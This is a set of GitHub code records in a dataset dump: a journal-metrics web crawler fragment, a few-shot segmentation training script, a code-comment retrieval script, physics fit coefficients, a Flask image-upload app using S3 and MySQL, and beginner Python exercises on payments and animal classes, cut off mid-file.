#切换到新页面\ntime.sleep(2)\nartlist_Elem=driver.find_element_by_xpath('//*[@id=\"view\"]/jif-webapp/main/home/div/div/dashboard/div[2]/div/div[3]/div/jif-calculation/div/div/div/div/div[2]/div[1]/div/div[1]/button') #找到id为kw的元素\nartlist_Elem.click()\nartlist = []\nlen_list = re_sum.findall(soup.find('a',{\"class\":'nav-link active'}).get_text().replace('\\n','').strip())[0] \nwhile len(list(set(artlist))) < int(len_list):\n artlist.extend(list(map(lambda x : x.find('a')['href'],litte_parser(driver).findAll('div',{\"class\":\"citable-item-row\"}))))\n dragger = driver.find_element_by_class_name(\"wui-card\") # 被拖拽元素\n item1 = driver.find_element_by_xpath('//*[@id=\"view\"]/ngb-modal-window/div/div/jif-calculation-citables-modal/div/div[2]/div[%d]'%(2+len(list(set(artlist))))) # 目标元素1\n ActionChains(driver).drag_and_drop(dragger, item1).perform()\n\n\n","repo_name":"siyunb/Wos-Crawler","sub_path":"crawl/coauthor_jcr_crawl.py","file_name":"coauthor_jcr_crawl.py","file_ext":"py","file_size_in_byte":9013,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"14169688517","text":"import os\r\nimport random\r\nimport numpy as np\r\nimport torch\r\nimport torch.backends.cudnn as cudnn\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.nn.parallel\r\nimport torch.utils.data\r\nimport torch.optim as optim\r\nfrom collections import defaultdict\r\nfrom .model.pspnet import get_model\r\nfrom .model.transformer import MultiHeadAttentionOne\r\nfrom .optimizer import get_optimizer, get_scheduler\r\nfrom .dataset.dataset import get_val_loader, get_train_loader\r\nfrom .util import intersectionAndUnionGPU, get_model_dir, AverageMeter, get_model_dir_trans\r\nfrom .util import setup, cleanup, to_one_hot, batch_intersectionAndUnionGPU, find_free_port\r\nfrom tqdm import tqdm\r\nfrom .test import validate_transformer\r\nfrom typing import Dict\r\nfrom torch import Tensor\r\nfrom torch.nn.parallel import DistributedDataParallel as DDP\r\nimport torch.distributed as dist\r\nimport torch.multiprocessing as mp\r\nimport argparse\r\nfrom typing import Tuple\r\nfrom .util import load_cfg_from_cfg_file, merge_cfg_from_list\r\n\r\n\r\ndef parse_args() -> argparse.Namespace:\r\n parser = argparse.ArgumentParser(description='Training classifier weight transformer')\r\n parser.add_argument('--config', type=str, required=True, help='config file')\r\n parser.add_argument('--opts', default=None, nargs=argparse.REMAINDER)\r\n args = parser.parse_args()\r\n assert args.config is not None\r\n cfg = load_cfg_from_cfg_file(args.config)\r\n if args.opts is not None:\r\n cfg = merge_cfg_from_list(cfg, args.opts)\r\n return cfg\r\n\r\n\r\ndef main_worker(rank: int, world_size: int, args: argparse.Namespace) -> None:\r\n print(f\"==> Running process rank {rank}.\")\r\n setup(args, rank, world_size)\r\n print(args)\r\n\r\n if args.manual_seed is not None:\r\n cudnn.benchmark = False\r\n cudnn.deterministic = True\r\n torch.cuda.manual_seed(args.manual_seed + rank)\r\n np.random.seed(args.manual_seed + rank)\r\n torch.manual_seed(args.manual_seed + rank)\r\n torch.cuda.manual_seed_all(args.manual_seed + rank)\r\n random.seed(args.manual_seed + rank)\r\n\r\n # ====== Model + Optimizer ======\r\n model = get_model(args).to(rank)\r\n\r\n if args.resume_weights:\r\n if os.path.isfile(args.resume_weights):\r\n print(\"=> loading weight '{}'\".format(args.resume_weights))\r\n\r\n pre_weight = torch.load(args.resume_weights)['state_dict']\r\n\r\n pre_dict = model.state_dict()\r\n for index, (key1, key2) in enumerate(zip(pre_dict.keys(), pre_weight.keys())):\r\n if 'classifier' not in key1 and index < len(pre_dict.keys()):\r\n if pre_dict[key1].shape == pre_weight[key2].shape:\r\n pre_dict[key1] = pre_weight[key2]\r\n else:\r\n print('Pre-trained {} shape and model {} shape: {}, {}'.\r\n format(key2, key1, pre_weight[key2].shape, pre_dict[key1].shape))\r\n continue\r\n\r\n model.load_state_dict(pre_dict, strict=True)\r\n\r\n print(\"=> loaded weight '{}'\".format(args.resume_weights))\r\n else:\r\n print(\"=> no weight found at '{}'\".format(args.resume_weights))\r\n\r\n # Fix the backbone layers\r\n for param in model.layer0.parameters():\r\n param.requires_grad = False\r\n for param in model.layer1.parameters():\r\n param.requires_grad = False\r\n for param in model.layer2.parameters():\r\n param.requires_grad = False\r\n for param in model.layer3.parameters():\r\n param.requires_grad = False\r\n for param in model.layer4.parameters():\r\n param.requires_grad = False\r\n for param in model.ppm.parameters():\r\n param.requires_grad = False\r\n for param in model.bottleneck.parameters():\r\n param.requires_grad = False\r\n\r\n model = nn.SyncBatchNorm.convert_sync_batchnorm(model)\r\n model = DDP(model, device_ids=[rank])\r\n\r\n # ====== Transformer ======\r\n trans_dim = args.bottleneck_dim\r\n\r\n transformer = MultiHeadAttentionOne(\r\n args.heads, trans_dim, trans_dim, trans_dim, dropout=0.5\r\n ).to(rank)\r\n\r\n optimizer_transformer = get_optimizer(\r\n args,\r\n [dict(params=transformer.parameters(), lr=args.trans_lr * args.scale_lr)]\r\n )\r\n transformer = nn.SyncBatchNorm.convert_sync_batchnorm(transformer)\r\n transformer = DDP(transformer, device_ids=[rank])\r\n\r\n trans_save_dir = get_model_dir_trans(args)\r\n\r\n # ====== Data ======\r\n train_loader, train_sampler = get_train_loader(args)\r\n episodic_val_loader, _ = get_val_loader(args)\r\n\r\n # ====== Metrics initialization ======\r\n max_val_mIoU = 0.\r\n if args.debug:\r\n iter_per_epoch = 5\r\n else:\r\n iter_per_epoch = args.iter_per_epoch if args.iter_per_epoch <= len(train_loader) else len(train_loader)\r\n\r\n log_iter = iter_per_epoch\r\n\r\n # ====== Training ======\r\n for epoch in range(args.epochs):\r\n if args.distributed:\r\n train_sampler.set_epoch(epoch)\r\n\r\n _, _ = do_epoch(\r\n args=args,\r\n train_loader=train_loader,\r\n iter_per_epoch=iter_per_epoch,\r\n model=model,\r\n transformer=transformer,\r\n optimizer_trans=optimizer_transformer,\r\n epoch=epoch,\r\n log_iter=log_iter,\r\n )\r\n\r\n val_Iou, val_loss = validate_transformer(\r\n args=args,\r\n val_loader=episodic_val_loader,\r\n model=model,\r\n transformer=transformer\r\n )\r\n\r\n if args.distributed:\r\n dist.all_reduce(val_Iou), dist.all_reduce(val_loss)\r\n val_Iou /= world_size\r\n val_loss /= world_size\r\n\r\n if main_process(args):\r\n # Model selection\r\n if val_Iou.item() > max_val_mIoU:\r\n max_val_mIoU = val_Iou.item()\r\n\r\n os.makedirs(trans_save_dir, exist_ok=True)\r\n filename_transformer = os.path.join(trans_save_dir, f'best.pth')\r\n\r\n if args.save_models:\r\n print('Saving checkpoint to: ' + filename_transformer)\r\n\r\n torch.save(\r\n {\r\n 'epoch': epoch,\r\n 'state_dict': transformer.state_dict(),\r\n 'optimizer': optimizer_transformer.state_dict()\r\n },\r\n filename_transformer\r\n )\r\n\r\n print(\"=> Max_mIoU = {:.3f}\".format(max_val_mIoU))\r\n\r\n if args.save_models and main_process(args):\r\n filename_transformer = os.path.join(trans_save_dir, 'final.pth')\r\n torch.save(\r\n {\r\n 'epoch': args.epochs,\r\n 'state_dict': transformer.state_dict(),\r\n 'optimizer': optimizer_transformer.state_dict()\r\n },\r\n filename_transformer\r\n )\r\n\r\n cleanup()\r\n\r\n\r\ndef main_process(args: argparse.Namespace) -> bool:\r\n if args.distributed:\r\n rank = dist.get_rank()\r\n if rank == 0:\r\n return True\r\n else:\r\n return False\r\n else:\r\n return True\r\n\r\n\r\ndef do_epoch(\r\n args: argparse.Namespace,\r\n train_loader: torch.utils.data.DataLoader,\r\n model: DDP,\r\n transformer: DDP,\r\n optimizer_trans: torch.optim.Optimizer,\r\n epoch: int,\r\n iter_per_epoch: int,\r\n log_iter: int\r\n) -> Tuple[torch.tensor, torch.tensor]:\r\n\r\n loss_meter = AverageMeter()\r\n train_losses = torch.zeros(log_iter).to(dist.get_rank())\r\n train_Ious = torch.zeros(log_iter).to(dist.get_rank())\r\n\r\n iterable_train_loader = iter(train_loader)\r\n\r\n model.train()\r\n transformer.train()\r\n\r\n for i in range(iter_per_epoch):\r\n qry_img, q_label, spprt_imgs, s_label, subcls, _, _ = iterable_train_loader.next()\r\n\r\n spprt_imgs = spprt_imgs.to(dist.get_rank(), non_blocking=True)\r\n s_label = s_label.to(dist.get_rank(), non_blocking=True)\r\n q_label = q_label.to(dist.get_rank(), non_blocking=True)\r\n qry_img = qry_img.to(dist.get_rank(), non_blocking=True)\r\n\r\n # ====== Phase 1: Train the binary classifier on support samples ======\r\n\r\n # Keep the batch size as 1.\r\n if spprt_imgs.shape[1] == 1:\r\n spprt_imgs_reshape = spprt_imgs.squeeze(0).expand(\r\n 2, 3, args.image_size, args.image_size\r\n )\r\n s_label_reshape = s_label.squeeze(0).expand(\r\n 2, args.image_size, args.image_size\r\n ).long()\r\n else:\r\n spprt_imgs_reshape = spprt_imgs.squeeze(0) # [n_shots, 3, img_size, img_size]\r\n s_label_reshape = s_label.squeeze(0).long() # [n_shots, img_size, img_size]\r\n\r\n binary_cls = nn.Conv2d(\r\n args.bottleneck_dim, args.num_classes_tr, kernel_size=1, bias=False\r\n ).cuda()\r\n\r\n optimizer = optim.SGD(binary_cls.parameters(), lr=args.cls_lr)\r\n\r\n # Dynamic class weights\r\n s_label_arr = s_label.cpu().numpy().copy() # [n_task, n_shots, img_size, img_size]\r\n back_pix = np.where(s_label_arr == 0)\r\n target_pix = np.where(s_label_arr == 1)\r\n\r\n criterion = nn.CrossEntropyLoss(\r\n weight=torch.tensor([1.0, len(back_pix[0]) / len(target_pix[0])]).cuda(),\r\n ignore_index=255\r\n )\r\n\r\n with torch.no_grad():\r\n f_s = model.module.extract_features(spprt_imgs_reshape) # [n_task, c, h, w]\r\n\r\n for index in range(args.adapt_iter):\r\n output_support = binary_cls(f_s)\r\n output_support = F.interpolate(\r\n output_support, size=s_label.size()[2:],\r\n mode='bilinear', align_corners=True\r\n )\r\n s_loss = criterion(output_support, s_label_reshape)\r\n optimizer.zero_grad()\r\n s_loss.backward()\r\n optimizer.step()\r\n\r\n # ====== Phase 2: Train the transformer to update the classifier's weights ======\r\n # Inputs of the transformer: weights of classifier trained on support sets, features of the query sample.\r\n\r\n # Dynamic class weights used for query image only during training\r\n q_label_arr = q_label.cpu().numpy().copy() # [n_task, img_size, img_size]\r\n q_back_pix = np.where(q_label_arr == 0)\r\n q_target_pix = np.where(q_label_arr == 1)\r\n\r\n criterion = nn.CrossEntropyLoss(\r\n weight=torch.tensor([1.0, len(q_back_pix[0]) / (len(q_target_pix[0]) + 1e-12)]).cuda(),\r\n ignore_index=255\r\n )\r\n\r\n model.eval()\r\n with torch.no_grad():\r\n f_q = model.module.extract_features(qry_img) # [n_task, c, h, w]\r\n f_q = F.normalize(f_q, dim=1)\r\n\r\n # Weights of the classifier.\r\n weights_cls = binary_cls.weight.data\r\n\r\n weights_cls_reshape = weights_cls.squeeze().unsqueeze(0).expand(\r\n args.batch_size, 2, weights_cls.shape[1]\r\n ) # [n_task, 2, c]\r\n\r\n # Update the classifier's weights with transformer\r\n updated_weights_cls = transformer(weights_cls_reshape, f_q, f_q) # [n_task, 2, c]\r\n\r\n f_q_reshape = f_q.view(args.batch_size, args.bottleneck_dim, -1) # [n_task, c, hw]\r\n\r\n pred_q = torch.matmul(updated_weights_cls, f_q_reshape).view(\r\n args.batch_size, 2, f_q.shape[-2], f_q.shape[-1]\r\n ) # # [n_task, 2, h, w]\r\n\r\n pred_q = F.interpolate(\r\n pred_q, size=q_label.shape[1:],\r\n mode='bilinear', align_corners=True\r\n )\r\n\r\n loss_q = criterion(pred_q, q_label.long())\r\n\r\n optimizer_trans.zero_grad()\r\n loss_q.backward()\r\n optimizer_trans.step()\r\n\r\n # Print loss and mIoU\r\n intersection, union, target = intersectionAndUnionGPU(\r\n pred_q.argmax(1), q_label, args.num_classes_tr, 255\r\n )\r\n\r\n if args.distributed:\r\n dist.all_reduce(loss_q)\r\n dist.all_reduce(intersection)\r\n dist.all_reduce(union)\r\n dist.all_reduce(target)\r\n\r\n mIoU = (intersection / (union + 1e-10)).mean()\r\n loss_meter.update(loss_q.item() / dist.get_world_size())\r\n\r\n if main_process(args):\r\n train_losses[i] = loss_meter.avg\r\n train_Ious[i] = mIoU\r\n\r\n print('Epoch {}: The mIoU {:.2f}, loss {:.2f}'.format(\r\n epoch + 1, train_Ious.mean(), train_losses.mean()\r\n ))\r\n\r\n return train_Ious, train_losses\r\n\r\n\r\nif __name__ == \"__main__\":\r\n args = parse_args()\r\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = ','.join(str(x) for x in args.gpus)\r\n\r\n if args.debug:\r\n args.test_num = 500\r\n args.epochs = 2\r\n args.n_runs = 2\r\n args.save_models = False\r\n\r\n world_size = len(args.gpus)\r\n distributed = world_size > 1\r\n args.distributed = distributed\r\n args.port = find_free_port()\r\n mp.spawn(main_worker, args=(world_size, args), nprocs=world_size, join=True)","repo_name":"zhiheLu/CWT-for-FSS","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":13004,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"27"} +{"seq_id":"39430709175","text":"import pandas as pd\r\nfrom tqdm import tqdm\r\nfrom textdistance import levenshtein\r\nfrom utils import load_dataset\r\n\r\ncorpus_type = 'bash'\r\ntrain_code_list = load_dataset(\"./data/\"+corpus_type+\"/train/train.code.src\")\r\ntest_code_list = load_dataset(\"./data/\"+corpus_type+\"/test/test.code.src\")\r\ntrain_comment_list = load_dataset(\"./data/\"+corpus_type+\"/train/train.nl.tgt\")\r\n\r\n\r\ndata_list = []\r\nfor i in tqdm(range(len(test_code_list))):\r\n result_list = []\r\n for j in range(len(train_code_list)):\r\n score = levenshtein.normalized_similarity(train_code_list[j], test_code_list[i])\r\n result_list.append((score, j))\r\n result_list.sort(reverse=True)\r\n max_score = 0\r\n index = 0\r\n result = result_list[index]\r\n suggest_nl = train_comment_list[result[1]]\r\n data_list.append(suggest_nl)\r\n\r\ndf = pd.DataFrame(data_list)\r\ndf.to_csv(\"./result/\"+corpus_type+\"/Levenshtein.csv\", index=False, header=None)","repo_name":"NTDXYG/IR-based-Code-Comment-Generation","sub_path":"Levenshitein.py","file_name":"Levenshitein.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"22146878136","text":"\"\"\"\nContains constants and methods for handling signal and fit coefficients\n\nFit and signal are in the fixed basis where Im(A_perp_r) = Im(A_zero_l) = Re(A_zero_r) = Im(A_zero_r) = 0.\n\"\"\"\nimport itertools\nimport tensorflow.compat.v2 as tf\ntf.enable_v2_behavior()\n\n# Models for our signal coeffs\nSM = 'SM'\nNP = 'NP'\n\n# Signal coefficients generated from flavio thanks to Mark Smith of Imperial\n# Outer arrays: [a_par_l, a_par_r, a_perp_l, a_perp_r, a_0_l, a_0_r, a_00_l, a_00_r]\n# Inner arrays: [Re(...), Im(...)\n# Inner array coeffs: [a, b, c] for anzatz a + (b * q2) + (c / q2)\n_signal_coeffs = {\n SM: [\n [\n [-4.178102308587205, -0.15184343863801822, 6.818324577344573],\n [0.008585377715927508, -0.001823001658320108, 0.46607419549466444]\n ],\n [\n [-0.23538124837356975, -0.004317631254342448, 8.00374551265976],\n [0.16564202403696493, -0.013095878427794742, -0.3066801644683403]\n ],\n [\n [3.886406712838685, 0.08526550962215246, -8.197445982405629],\n [-0.09505176167285938, 0.007934013042069043, -0.07297003098318804]\n ],\n [\n [-0.4235836013545314, 0.027298994876497513, -7.147450839543464],\n [0.0, 0.0, 0.0]\n ],\n [\n [7.202758939554573, -0.2278163014848678, 9.898629947119229],\n [0.0, 0.0, 0.0]\n ],\n [\n [0.0, 0.0, 0.0],\n [0.0, 0.0, 0.0]\n ],\n [\n [1.0, 0.0, 0.0],\n [1.0, 0.0, 0.0]\n ],\n [\n [1.0, 0.0, 0.0],\n [1.0, 0.0, 0.0]\n ],\n ],\n NP: [ # C9 = -1.027, C10 = 0.498\n [\n [-3.4277495848061257, -0.12410026985551571, 6.045281152442963],\n [0.00934061365013997, -0.001989193837745718, 0.5034113300277555]\n ],\n [\n [-0.25086978961912654, -0.005180213333933305, 8.636744983192575],\n [0.2220926359265556, -0.017419352926410284, -0.528067287659531]\n ],\n [\n [3.0646407176207813, 0.07851536717584778, -8.841144517240298],\n [-0.11366033229864046, 0.009293559978293, -0.04761546602270795]\n ],\n [\n [-0.9332669880450042, 0.01686711151445955, -6.318555350023665],\n [0.0, 0.0, 0.0]\n ],\n [\n [5.882883042792871, -0.18442496620391777, 8.10139804649606],\n [0.0, 0.0, 0.0]\n ],\n [\n [0.0, 0.0, 0.0],\n [0.0, 0.0, 0.0]\n ],\n [\n [1.0, 0.0, 0.0],\n [1.0, 0.0, 0.0]\n ],\n [\n [1.0, 0.0, 0.0],\n [1.0, 0.0, 0.0]\n ],\n ],\n}\nsignal_models = list(_signal_coeffs.keys())\n\namplitude_names = [\n 'a_para_l_re',\n 'a_para_l_im',\n 'a_para_r_re',\n 'a_para_r_im',\n 'a_perp_l_re',\n 'a_perp_l_im',\n 'a_perp_r_re',\n 'a_perp_r_im',\n 'a_0_l_re',\n 'a_0_l_im',\n 'a_0_r_re',\n 'a_0_r_im',\n 'a_00_l_re',\n 'a_00_l_im',\n 'a_00_r_re',\n 'a_00_r_im',\n]\namplitude_latex_names = [\n r'Re($A_{\\parallel}^L$)',\n r'Im($A_{\\parallel}^L$)',\n r'Re($A_{\\parallel}^R$)',\n r'Im($A_{\\parallel}^R$)',\n r'Re($A_{\\bot}^L$)',\n r'Im($A_{\\bot}^L$)',\n r'Re($A_{\\bot}^R$)',\n r'Im($A_{\\bot}^R$)',\n r'Re($A_{0}^L$)',\n r'Im($A_{0}^L$)',\n r'Re($A_{0}^R$)',\n r'Im($A_{0}^R$)',\n r'Re($A_{00}^L$)',\n r'Im($A_{00}^L$)',\n r'Re($A_{00}^R$)',\n r'Im($A_{00}^R$)',\n]\namplitude_count = len(amplitude_names)\n\nparam_names = ['alpha', 'beta', 'gamma']\nparam_latex_names = [r'$\\alpha$', r'$\\beta$', r'$\\gamma$']\nparam_count = len(param_names)\n\nnames = ['{}_{}'.format(a, p) for a in amplitude_names for p in param_names]\nlatex_names = ['{} {}'.format(a, p) for a in amplitude_latex_names for p in param_latex_names]\ncount = len(names)\n\np_wave_idxs = range(0, 36)\ns_wave_idxs = range(36, 48)\nfit_trainable_idxs = list(itertools.chain(range(0, 21), range(24, 27), [36], [39], [42], [45]))\n\n# Fit coefficient initialization schemes\nFIT_INIT_TWICE_LARGEST_SIGNAL_SAME_SIGN = 'TWICE_LARGEST_SIGNAL_SAME_SIGN'\nFIT_INIT_TWICE_CURRENT_SIGNAL_ANY_SIGN = 'TWICE_CURRENT_SIGNAL_ANY_SIGN'\nFIT_INIT_CURRENT_SIGNAL = 'CURRENT_SIGNAL'\nfit_init_schemes = [\n FIT_INIT_TWICE_LARGEST_SIGNAL_SAME_SIGN,\n FIT_INIT_TWICE_CURRENT_SIGNAL_ANY_SIGN,\n FIT_INIT_CURRENT_SIGNAL,\n]\nfit_init_schemes_with_randomization = [\n FIT_INIT_TWICE_LARGEST_SIGNAL_SAME_SIGN,\n FIT_INIT_TWICE_CURRENT_SIGNAL_ANY_SIGN,\n]\nfit_initialization_scheme_default = FIT_INIT_TWICE_LARGEST_SIGNAL_SAME_SIGN\n\n\ndef signal(model):\n \"\"\"Turn our signal coefficient numbers into a flat list of constant tensors\n \"\"\"\n if model not in _signal_coeffs:\n raise ValueError('No {} signal coefficients defined'.format(model))\n return [tf.constant(_p) for _a in _signal_coeffs[model] for _c in _a for _p in _c]\n\n\ndef fit(initialization=fit_initialization_scheme_default, current_signal_model=None, fix_p_wave_model=None):\n \"\"\"Construct a flat list of tensors to represent what we're going to fit\n\n Tensors that represent non-fixed coefficients in this basis are tf.Variables\n Tensors that represent fixed coefficients in this basis set as constant 0's\n\n Args:\n initialization (float or str): Constant float value to initialize all trainable coefficients to, or an\n initialization scheme listed in `fit_init_schemes`\n current_signal_model (str, optional): Current signal model. Must be specified for randomization if the\n FIT_INIT_TWICE_CURRENT_SIGNAL_ANY_SIGN or FIT_INIT_CURRENT_SIGNAL initialization schemes are used\n fix_p_wave_model (str, optional): Model to fix all P-wave coefficients to. Useful for generating Q test stats\n \"\"\"\n if initialization in [FIT_INIT_TWICE_CURRENT_SIGNAL_ANY_SIGN, FIT_INIT_CURRENT_SIGNAL] \\\n and current_signal_model is None:\n raise ValueError('initialization_model must be supplied when using {} initialization'.format(initialization))\n if current_signal_model is not None and current_signal_model not in signal_models:\n raise ValueError('current_signal_model {} unknown'.format(current_signal_model))\n current_signal_coeffs = signal(current_signal_model) if current_signal_model is not None else None\n if fix_p_wave_model is not None and fix_p_wave_model not in signal_models:\n raise ValueError('fix_p_wave_model {} unknown'.format(fix_p_wave_model))\n fix_p_wave_coeffs = signal(fix_p_wave_model) if fix_p_wave_model is not None else None\n\n max_signal_coeffs = [0.0] * count\n for signal_model in signal_models:\n signal_coeffs = [_p for _a in _signal_coeffs[signal_model] for _c in _a for _p in _c]\n for signal_idx, signal_coeff in enumerate(signal_coeffs):\n if abs(signal_coeff) > max_signal_coeffs[signal_idx]:\n max_signal_coeffs[signal_idx] = signal_coeff\n\n fit_coeffs = []\n\n for i in range(count):\n if i <= p_wave_idxs[-1] and fix_p_wave_coeffs is not None:\n # This is a P-wave coeff and we've been told to copy a signal value\n coeff = tf.constant(fix_p_wave_coeffs[i])\n elif i in fit_trainable_idxs:\n if initialization == FIT_INIT_TWICE_LARGEST_SIGNAL_SAME_SIGN:\n # Initialize coefficient from 0 to 2x largest value in all signal models\n init_value = tf.random.uniform(\n shape=(),\n minval=tf.math.minimum(0.0, 2 * max_signal_coeffs[i]),\n maxval=tf.math.maximum(0.0, 2 * max_signal_coeffs[i]),\n )\n elif initialization == FIT_INIT_TWICE_CURRENT_SIGNAL_ANY_SIGN:\n # Initialize coefficient from -2x to +2x value in this signal model\n init_value = tf.random.uniform(\n shape=(),\n minval=-tf.math.abs(2 * current_signal_coeffs[i]),\n maxval=tf.math.abs(2 * current_signal_coeffs[i]),\n )\n elif initialization == FIT_INIT_CURRENT_SIGNAL:\n # Initialize coefficient to the value in this signal model\n init_value = current_signal_coeffs[i]\n elif isinstance(initialization, float):\n # Initialize coefficient to the specified value (Useful for testing)\n init_value = initialization\n else:\n raise ValueError('Initialization scheme {} is undefined'.format(initialization))\n\n coeff = tf.Variable(init_value, name=names[i])\n else:\n coeff = tf.constant(0.0)\n fit_coeffs.append(coeff)\n\n return fit_coeffs\n\n\ndef trainables(coeffs):\n \"\"\"Get sublist of coefficients that are trainable\"\"\"\n return [c for c in coeffs if is_trainable(c)]\n\n\ndef is_trainable(coeff):\n \"\"\"\n Check if a coefficient is trainable. This is done by seeing if the tensor has the 'trainable'\n attribute and it is True. tf.constant's do not have this attribute\n \"\"\"\n return getattr(coeff, 'trainable', False)\n\n\ndef to_str(coeffs):\n \"\"\"\n Take a list of coefficients and return a single-line string for printing\n Coefficients that are constants are marked with a trailing '*'\n \"\"\"\n c_list = []\n for c in coeffs:\n c_list.append('{:5.2f}{}'.format(c.numpy(), ' ' if is_trainable(c) else '*'))\n return ' '.join(c_list)\n","repo_name":"lejambon/b-decay-unbinned-machine-fit","sub_path":"b_meson_fit/coeffs.py","file_name":"coeffs.py","file_ext":"py","file_size_in_byte":9357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19151504036","text":"from flask import *\nimport mysql.connector\nimport boto3\nfrom botocore.exceptions import ClientError\nfrom datetime import datetime\nfrom werkzeug.utils import secure_filename\nimport config\n\napp=Flask(__name__)\napp.config.from_object(config)\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/api/pic\", methods=[\"POST\"])\ndef pic():\n if request.method ==\"POST\":\n file=request.files[\"file\"]\n msg=request.form[\"content\"]\n file.filename = secure_filename(file.filename)\n if file.filename and msg:\n # create unique key\n now = datetime.now()\n key = datetime.strftime(now, '%Y%m%d%H%M%S%f')\n # Save file to s3 with the unique key\n s3=boto3.client(\n \"s3\",\n aws_access_key_id=config.S3_KEY_ID,\n aws_secret_access_key=config.S3_SECRET_KEY)\n try:\n s3.upload_fileobj(\n file,\n 'pickprice', \n key,\n ExtraArgs={\n \"ACL\":\"public-read\",\n \"ContentType\":file.content_type\n })\n except ClientError as e:\n print(e)\n return False\n\n # Save the msg and key information into RDS\n mydb=mysql.connector.connect(pool_name=config.DB_POOL_NAME)\n mycursor=mydb.cursor()\n sql=\"insert into HW (msg , pic_key) values (%s, %s)\"\n val=(msg, key)\n mycursor.execute(sql,val)\n mydb.commit()\n mycursor.close()\n mydb.close()\n\n myresult=[msg, config.CLOUDFRONT+key]\n\n return myresult\n else:\n print(\"No file or msg!\")\n return jsonify({\"error\":True, \"message\":\"Not proper inputs.\"}), 400\n\n@app.route(\"/api/history\", methods=[\"GET\"])\ndef history():\n # Obtain history data order by date asc\n sql=\"select msg, pic_key from HW order by time desc\"\n val=()\n mydb = mysql.connector.connect(pool_name=config.DB_POOL_NAME)\n mycursor = mydb.cursor()\n mycursor.execute(sql,val)\n myresult=mycursor.fetchall()\n mycursor.close()\n mydb.close()\n\n for i in range( len(myresult)):\n myresult[i]=list(myresult[i])\n myresult[i][1]=config.CLOUDFRONT+myresult[i][1]\n myresult[i] = tuple(myresult[i])\n \n return myresult\n\n\n\n\n\nif __name__==\"__main__\":\n dbconfig={\n \"host\": config.DB_HOST,\n \"port\":config.DB_PORT,\n \"user\":config.DB_USER,\n \"password\":config.DB_PASSWORD,\n \"database\":config.DB_DB\n }\n mydb=mysql.connector.connect(\n pool_name=config.DB_POOL_NAME,\n pool_size=config.DB_POOL_SIZE,\n **dbconfig\n )\n mydb.close()\n app.run(port=config.PORT, debug=config.DEBUG, host=config.HOST)","repo_name":"YitingTinaRen/aws_docker_practice","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"18925573630","text":"send_amount = float(input(\"enter amount to send\"))\nmobile_number = input(\" enter mobile phone number \")\nbalance = 1000.00\nbalance -= send_amount\nmpesa_message = \"You have sent {} to {} new balance is {} \".format(send_amount, mobile_number, balance)\nprint(mpesa_message)\n\nhouse_allowance = float(input(\"enter house allowance \"))\ncommuter_allowance = float(input(\"enter commuter allowance \"))\ncar_allowance = float(input(\"enter car allowance \"))\nbasic_salary = float(input(\"enter basic salary \"))\ngross_salary = house_allowance + car_allowance + commuter_allowance + basic_salary\ntax = 0.3 * gross_salary\nprint(tax)\n\n\n\n","repo_name":"ZoriahAkoth/PythonClass","sub_path":"Lesson3A.py","file_name":"Lesson3A.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70098833671","text":"\"\"\"lesson_3_6_homework «Classes»\n\n\"\"\"\n\nimport chardet\nimport os\nfrom urllib.parse import urlencode\n\n\n# from xml.etree.ElementTree import fromstring, ElementTree\n\n\nclass Animal:\n my_type = 'Animal'\n area = 'Earth'\n prefered_food = 'food'\n sound = 'aaaaaaaaaaaaaaa'\n useful = None\n\n def __init__(self):\n pass\n\n def speak(self):\n print('I can speak \"{}\"'.format(self.sound))\n\n def about(self):\n print('I am {}. I live in {}. I eat {}.'.format(self.my_type, self.area, self.prefered_food))\n\n\nclass Hoofed(Animal): # Копытное\n different = 'hooves'\n my_type = 'Hoofed'\n area = 'a land'\n prefered_food = 'plants'\n sound = 'ooooooooooooooo'\n\n def __init__(self):\n pass\n\n def about(self):\n super().about()\n print('I have {}.'.format(self.different))\n\n\nclass Cow(Hoofed): # Корова\n my_type = 'Cow'\n area = 'a meadow'\n prefered_food = 'fresh plants'\n sound = 'Muuuuu'\n different = 'horns'\n useful = 'I give a milk'\n\n def __init__(self, name=''):\n self.my_name = name\n\n def about(self):\n if len(self.my_name):\n print('My name is {}'.format(self.my_name))\n else:\n print('My name is ... oops. Parents forgot to give me a name.')\n super().about()\n print('I am useful because {}.'.format(self.useful))\n\n\nclass Goat(Hoofed): # Коза\n my_type = 'Goat'\n area = 'a meadow'\n prefered_food = 'fresh plants'\n sound = 'baaa'\n different = 'small horns'\n useful = 'I give a dietary milk'\n\n def __init__(self, name=''):\n self.my_name = name\n\n def about(self):\n if len(self.my_name):\n print('My name is {}'.format(self.my_name))\n else:\n print('My name is ... oops. Parents forgot to give me a name.')\n super().about()\n print('I am useful because {}.'.format(self.useful))\n\n\nclass Sheep(Hoofed): # Овца\n my_type = 'Sheep'\n area = 'a highland'\n prefered_food = 'fresh plants'\n sound = 'baaa'\n different = 'thick coat'\n useful = 'I give a wool'\n\n def __init__(self, name=''):\n self.my_name = name\n\n def about(self):\n if len(self.my_name):\n print('My name is {}'.format(self.my_name))\n else:\n print('My name is ... oops. Parents forgot to give me a name.')\n super().about()\n print('I am useful because {}.'.format(self.useful))\n\n\nclass Pig(Hoofed): # Свинья\n my_type = 'Pig'\n area = 'a village'\n prefered_food = 'any food'\n sound = 'piggy-piggy'\n different = 'round ass'\n useful = 'I give a bacon'\n\n def __init__(self, name=''):\n self.my_name = name\n\n def about(self):\n if len(self.my_name):\n print('My name is {}'.format(self.my_name))\n else:\n print('My name is ... oops. Parents forgot to give me a name.')\n super().about()\n print('I am useful because {}.'.format(self.useful))\n\n\nclass Bird(Animal):\n different = 'wings'\n useful = None\n my_type = 'Bird'\n area = 'a sky'\n prefered_food = 'seeds'\n sound = 